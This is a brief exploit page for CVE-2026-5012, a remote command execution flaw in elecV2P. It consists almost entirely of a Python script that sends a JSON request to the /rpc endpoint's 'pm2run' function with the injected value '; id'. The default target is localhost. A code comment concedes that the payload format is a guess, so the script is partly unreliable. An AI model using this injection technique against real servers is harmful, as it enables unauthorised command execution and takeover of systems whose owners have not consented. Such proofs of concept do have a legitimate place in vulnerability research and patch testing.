CVE-2026-5012 elecV2P远程命令执行漏洞

import requests def exploit(target_url): # The vulnerable endpoint is /rpc and function is pm2run url = f"{target_url}/rpc" # Payload example: executing 'id' command # Adjust the payload structure based on the actual JSON structure expected by the API payload = { "fn": "pm2run", "params": ["; id"] } headers = { "Content-Type": "application/json" } try: response = requests.post(url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully") print("[+] Response:") print(response.text) else: print(f"[-] Failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1:80" # Replace with actual target exploit(target)